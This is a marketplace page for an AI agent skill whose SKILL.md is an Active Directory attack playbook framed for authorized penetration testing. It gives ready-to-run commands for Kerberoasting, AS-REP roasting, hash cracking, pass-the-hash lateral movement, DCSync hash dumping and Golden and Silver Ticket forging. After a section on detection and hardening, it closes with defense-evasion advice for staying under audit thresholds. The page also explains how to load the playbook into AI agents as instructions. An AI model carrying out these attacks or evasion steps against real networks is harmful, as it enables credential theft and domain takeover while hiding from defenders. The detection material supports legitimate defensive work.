Ad Ldap Attack logo

Ad Ldap Attack

Community
brucesongs
ad-ldap-attack

Active Directory is the backbone of enterprise identity and access management, making it a primary target during internal network penetration tests.

Overview

Publisherbrucesongs
Repositorykali-claw
Skill namead-ldap-attack
Stars
70
Forks
18
Bundled files
12
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 12 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by brucesongs on GitHub. Read the source before you install it.

Installation

Install the Ad Ldap Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/ad-ldap-attack .claude/skills/ad-ldap-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Ad Ldap Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Ad Ldap Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Ad Ldap Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Skill: Active Directory and LDAP Attack

Supplementary Files:

  • payloads.md -- Payload collection organized by 10 attack phases (reconnaissance, LDAP enumeration, Kerberos attacks, credential harvesting, lateral movement, domain dominance)
  • test-cases.md -- Structured test case templates (8 cases covering full AD attack chain from recon to domain dominance)
  • guides/ad-recon-enumeration-guide.md -- Complete AD reconnaissance and enumeration guide
  • guides/kerberos-attack-guide.md -- Kerberos attack techniques deep dive
  • guides/ad-lateral-movement-guide.md -- Lateral movement and domain dominance guide

Summary

Ad Ldap Attack skill domain covering enterprise operations.

Domain: enterprise

MITRE ATT&CK: TA0006-Credential Access

Description

Active Directory is the backbone of enterprise identity and access management, making it a primary target during internal network penetration tests. This skill covers the complete AD attack lifecycle, from initial reconnaissance and enumeration through credential theft, lateral movement, and ultimately domain dominance. Understanding these techniques is essential for red team operators and penetration testers assessing enterprise environments.

The attack chain typically begins with passive and active reconnaissance to identify domain controllers, trust relationships, and network topology. LDAP enumeration and Kerberos probing reveal user accounts, group memberships, service principal names (SPNs), and security misconfigurations. Credential attacks such as AS-REP Roasting, Kerberoasting, and Pass-the-Hash exploit weaknesses in authentication protocols to harvest plaintext passwords, NTLM hashes, and Kerberos tickets.

Advanced techniques including DCSync extraction, Golden/Silver Ticket forging, and ACL abuse enable persistent domain dominance. This skill emphasizes realistic Kali Linux tooling including the Impacket suite, BloodHound for graph-based attack path analysis, and CrackMapExec for rapid lateral movement across domain-joined systems.

Use Cases

  1. Internal Network Penetration Testing -- Perform authorized AD security assessments, enumerate domain objects, harvest credentials, and demonstrate impact through lateral movement to sensitive systems.
  2. Red Team Operations -- Execute full adversary simulation against enterprise AD environments, from initial foothold to domain admin compromise, using OPSEC-safe techniques.
  3. Kerberos Security Assessment -- Test Kerberos configuration weaknesses including pre-authentication bypass (AS-REP Roasting), service ticket attacks (Kerberoasting), and ticket forgery (Golden/Silver Tickets).
  4. Privilege Escalation Auditing -- Identify misconfigured ACLs, delegation privileges, GPO weaknesses, and trust relationship vulnerabilities that enable escalation paths.
  5. Post-Exploitation and Persistence -- Establish persistent access through credential caching, ticket manipulation, and domain dominance techniques resistant to password resets.

Core Tools

ToolCategoryPurpose
impacket-secretsdump.pyCredential HarvestingExtract hashes from NTDS.dit, perform DCSync attacks, dump SAM/SYSTEM
impacket-psexec.pyLateral MovementExecute commands via SMB using Pass-the-Hash or credential authentication
impacket-wmiexec.pyLateral MovementExecute commands via WMI for stealthier remote execution
impacket-smbexec.pyLateral MovementExecute commands via SMB with minimal footprint
impacket-GetNPUsers.pyKerberos AttackAS-REP Roasting -- query users with pre-auth disabled
impacket-GetUserSPNs.pyKerberos AttackKerberoasting -- request TGS tickets for service accounts
impacket-getTGT.pyKerberos AttackRequest TGT from KDC using credentials or hash
impacket-getST.pyKerberos AttackRequest service tickets, perform S4U attacks
impacket-ticketer.pyKerberos AttackForge Golden and Silver Tickets offline
impacket-goldenPac.pyKerberos AttackExploit MS14-068 via Golden Ticket for domain admin
bloodhoundAttack Path AnalysisGraph-based visualization of AD attack paths and relationships
bloodhound-pythonEnumerationPython BloodHound ingestor for data collection without .NET
ldapsearchEnumerationDirect LDAP queries against domain controllers
enum4linuxEnumerationSMB/NetBIOS enumeration for user, group, and share discovery
enum4linux-ngEnumerationModern rewrite of enum4linux with improved output
kerberoastKerberos AttackTGS ticket extraction and offline password cracking
crackmapexecLateral MovementNetwork spray tool for SMB, WinRM, LDAP, MSSQL, SSH
ldeepEnumerationAdvanced LDAP enumeration and AD object manipulation
ldapdomaindumpEnumerationDump AD information via LDAP into formatted HTML/JSON/CSV
nbtscanReconnaissanceNetBIOS name scanner for network host discovery
rpcclientEnumerationWindows RPC client for SAMR, LSA, and DS enumeration

Methodology

Phase 1: Reconnaissance

Discover live hosts, identify domain controllers, map network topology, and gather NetBIOS/DNS information about the target domain.

  1. Scan the target network for live hosts and open ports (88/Kerberos, 389/LDAP, 445/SMB, 636/LDAPS, 135/RPC)
  2. Use nbtscan for NetBIOS discovery to identify domain names and machine roles
  3. Perform DNS enumeration to locate domain controllers and service records
  4. Map domain trust relationships and forest topology

Phase 2: Enumeration

Enumerate domain users, groups, computers, GPOs, SPNs, ACLs, and trust relationships through LDAP, SMB, and RPC protocols.

  1. Use enum4linux / enum4linux-ng for SMB-based user and share enumeration
  2. Query LDAP with ldapsearch for detailed object attributes
  3. Run ldapdomaindump for comprehensive AD data export
  4. Collect BloodHound data with bloodhound-python for attack path analysis
  5. Enumerate SPNs, delegation settings, and ACL configurations via ldeep

Phase 3: Credential Attacks

Exploit Kerberos weaknesses and authentication misconfigurations to harvest credentials.

  1. AS-REP Roasting with GetNPUsers.py -- target accounts with pre-auth disabled
  2. Kerberoasting with GetUserSPNs.py -- request TGS tickets for offline cracking
  3. Password spraying with crackmapexec using common passwords against domain accounts
  4. NTLM relay attacks to capture authentication hashes
  5. Extract credentials from memory or SAM database on compromised hosts

Phase 4: Lateral Movement

Move across the domain using harvested credentials, hashes, and tickets.

  1. Pass-the-Hash with crackmapexec, psexec.py, wmiexec.py, smbexec.py
  2. Pass-the-Ticket using forged Kerberos tickets
  3. Overpass-the-Hash -- convert NTLM hash to Kerberos TGT
  4. WMI and SMB remote command execution
  5. WinRM and PowerShell Remoting for interactive sessions

Phase 5: Domain Dominance

Achieve and maintain persistent control over the entire AD forest.

  1. DCSync attack with secretsdump.py to extract all domain hashes
  2. Golden Ticket creation with ticketer.py for persistent domain admin access
  3. Silver Ticket forging for targeted service access
  4. GPO abuse for pushing malicious settings across the domain
  5. ACL and delegation exploitation for persistent privilege escalation
  6. Forest and domain trust exploitation for cross-domain compromise

Practical Steps

Step 1: Initial Domain Reconnaissance

bash
# NetBIOS scan to discover hosts and domain names
nbtscan 10.10.0.0/24

# Identify domain controller via DNS
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.local

# Enumerate NetBIOS information of specific host
nbtscan 10.10.0.1

Step 2: SMB and LDAP Enumeration

bash
# Full enum4linux scan against domain controller
enum4linux -a 10.10.0.1

# Enum4linux-ng for improved enumeration
enum4linux-ng -A 10.10.0.1

# LDAP search for all domain users
ldapsearch -x -H ldap://10.10.0.1 -D "CORP\\svc_ldap" -w 'Password123!' -b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName mail

# Dump entire domain info via LDAP
ldapdomaindump -u 'CORP\svc_ldap' -p 'Password123!' 10.10.0.1

Step 3: BloodHound Data Collection

bash
# Collect BloodHound data using Python ingestor
bloodhound-python -u 'svc_ldap' -p 'Password123!' -ns 10.10.0.1 -d corp.local -c All

# Alternative: collect specific collection methods
bloodhound-python -u 'svc_ldap' -p 'Password123!' -ns 10.10.0.1 -d corp.local -c DCOnly

Step 4: Kerberos Attacks

bash
# AS-REP Roasting -- find users with pre-auth disabled
impacket-GetNPUsers corp.local/ -usersfile userlist.txt -format john -outputfile asrep_hashes.txt

# Kerberoasting -- request TGS tickets for service accounts
impacket-GetUserSPNs corp.local/svc_ldap:'Password123!' -request -outputfile tgs_hashes.txt

# Crack TGS hashes offline
john --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

Step 5: Credential Harvesting and Lateral Movement

bash
# Pass-the-Hash via crackmapexec
crackmapexec smb 10.10.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:3fxxx'

# Execute command via psexec
impacket-psexec corp.local/administrator@10.10.0.5 -hashes aad3b435b51404eeaad3b435b51404ee:3fxxx

# Stealthier WMI execution
impacket-wmiexec corp.local/administrator@10.10.0.5 -hashes aad3b435b51404eeaad3b435b51404ee:3fxxx

# DCSync attack to dump all domain hashes
impacket-secretsdump corp.local/administrator@10.10.0.1 -hashes aad3b435b51404eeaad3b435b51404ee:3fxxx

Step 6: Golden Ticket and Domain Dominance

bash
# Forge Golden Ticket using krbtgt hash
impacket-ticketer -nthash 'krbtgt_hash' -domain-sid S-1-5-21-XXXX -domain corp.local administrator

# Use Golden Ticket to access any service
export KRB5CCNAME=administrator.ccache
impacket-psexec corp.local/administrator@10.10.0.5 -k -no-pass

# Silver Ticket for targeted service access
impacket-ticketer -nthash 'service_hash' -domain-sid S-1-5-21-XXXX -domain corp.local -spn cifs/dc01.corp.local -user-id 500 administrator

Defense Perspective

Detecting Reconnaissance

  • Monitor for unusual LDAP query patterns and high-volume enumeration via Event IDs 1644, 2887, 2888, 2889.
  • Detect BloodHound SharpHound collectors via process creation, network connections, and LDAP query patterns.
  • Alert on nbtscan and mass NetBIOS queries from non-standard sources.
  • Implement LDAP query auditing and rate limiting on domain controllers.

Detecting Kerberos Attacks

  • AS-REP Roasting: Monitor Event ID 4768 for TGT requests without pre-authentication. Alert when multiple AS-REP requests target different users.
  • Kerberoasting: Monitor Event ID 4769 for TGS requests with encryption type 0x17 (RC4). Alert on RC4-downgrade TGS requests, especially for service accounts.
  • Golden Tickets: Detect via Event ID 4624 logons with no corresponding TGT request (Event 4768). Monitor for tickets with unusual lifetimes exceeding domain policy.
  • Implement AES encryption enforcement for service accounts to mitigate Kerberoasting.

Detecting Credential Harvesting

  • DCSync: Monitor Event ID 4662 for DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions usage. Alert on DRSUAPI calls from non-DC systems.
  • Credential dumping: Deploy Credential Guard and LSA Protection to protect LSASS. Monitor for LSASS access from unexpected processes.
  • Implement Protected Users security group for high-privilege accounts.

Detecting Lateral Movement

  • Monitor Event IDs 4624 (logon type 3 for network, type 10 for remote interactive) for unusual patterns.
  • Detect Pass-the-Hash via failed NTLM logons with mismatched source systems.
  • Monitor for WMI and PSExec service creation (Event ID 7045, service names like PSEXESVC).
  • Implement Windows Defender ATP lateral movement detection and network segmentation.

Hardening Recommendations

  • Enforce strong password policies and regular rotation for service accounts.
  • Disable NTLM where possible and enforce Kerberos with AES encryption.
  • Implement tiered administration model with Privileged Access Workstations (PAWs).
  • Regularly audit AD permissions, delegation settings, and ACL configurations.
  • Deploy Microsoft LAPS for local administrator password management.
  • Implement Privileged Access Management (PAM) and just-in-time access.

Detection Methods

Domain Controller Audit Events

  • Event ID 1644: LDAP query statistics; high result counts indicate enumeration.
  • Event ID 2887-2889: LDAP signing/channel binding failures.
  • Event ID 4662: DS-Replication-Get-Changes (DCSync signature); alert on non-DC sources.
  • Event ID 4768: TGT request (no pre-auth → AS-REP roasting).
  • Event ID 4769: TGS request with RC4 encryption type 0x17 (Kerberoasting).
  • Event ID 4624: Logon type 3 (network) or type 10 (RemoteInteractive) anomalies.
  • Event ID 7045: Service creation (PSEXESVC, custom names) for lateral movement.

Behavioral Indicators

  • BloodHound SharpHound: Process tree showing PowerShell + SharpHound.exe; LDAP queries containing servicePrincipalName or memberOf:1.2.840.113556.1.4.1941: (recursive memberOf).
  • Mass Kerberoasting: Multiple TGS-REQ for different SPNs in short window from same source.
  • DCSync abuse: LSASS on non-DC reading domain credentials; DRSUAPI bind from workstation.
  • Pass-the-Hash: 4624 logon with NTLMSSP when Kerberos expected; source system mismatch.

SIEM Detection Rules

  • Splunk SPL: index=ad sourcetype=XmlWinEventLog:Security EventCode=4662 | stats count by user | where count > 10
  • Sigma rule: sigma/rules/windows/ldap_enumeration.yml
  • Microsoft Defender for Identity: Native AD threat detection (BloodHound, Kerberoasting, DCSync, hash dumping).
  • Azure AD Identity Protection: Risk events for on-prem AD synchronized accounts.

Defense Evasion Techniques

LDAP Enumeration Stealth

  • Distributed source: Spread enumeration across multiple compromised hosts (one per user query).
  • Slow & low: Pace LDAP queries below audit threshold (typical: 5+ queries per minute triggers alert).
  • Vary LDAP filters: Avoid BloodHound-typical patterns; use custom filters to look benign.
  • Use already-delegated credentials: Query via existing service accounts rather than attacker-controlled ones.
  • Cache and reuse: Avoid re-enumerating the same objects; export full dump once.

Kerberoasting Stealth

  • Target only high-value SPNs: Avoid blanket enumeration (one TGS-REQ per user is suspicious).
  • Use AES where possible: Mix in AES requests to dilute RC4 ratio below 5% threshold.
  • Off-hours timing: Run Kerberoasting during peak business hours to blend with normal traffic.
  • Distribute requests: One SPN per source IP, then aggregate cracked hashes.
  • Use opsec wrappers: Rubeus with /opsec flag avoids suspicious request patterns.

DCSync Stealth

  • Single-drain: Drain NTDS.dit once; avoid repeated DRSUAPI binds.
  • Use legitimate DC credentials: Compromise DC itself (via NtFrS abuse, MS14-068) before extracting.
  • Recover from backup: Restore NTDS.dit from backup media rather than live DRSUAPI call.
  • IFM (Install From Media) abuse: Use ntdsutil ifm on compromised DC; appears as legitimate backup operation.
  • Volume Shadow Copy: Create VSS of C: on DC; copy NTDS.dit offline.

Lateral Movement Stealth

  • WMI over PsExec: Avoid PSEXESVC.exe service creation (loud); use wmic or Invoke-WmiMethod.
  • DCOM over RPC: Use MMC20.Application, ShellWindows, ShellBrowserWindow DCOM objects.
  • Kerberos delegation abuse: Use RBCD (Resource-Based Constrained Delegation) for invisible SSO.
  • Service account impersonation: Use stolen service account token rather than creating new logon.
  • Existing scheduled tasks: Modify existing scheduled tasks rather than creating new ones (Event ID 4699/4700 vs 4698).

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Ad Ldap Attack AI skill do?

Active Directory is the backbone of enterprise identity and access management, making it a primary target during internal network penetration tests.

Why use Ad Ldap Attack on TypingMind?

Because you install it once and use it with any model. Ad Ldap Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Ad Ldap Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/brucesongs/kali-claw/tree/main/skills/ad-ldap-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Ad Ldap Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Ad Ldap Attack?

As many as you like. As long as a model supports skills, you can use Ad Ldap Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Ad Ldap Attack AI skill free?

Yes. It is published on GitHub by brucesongs under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇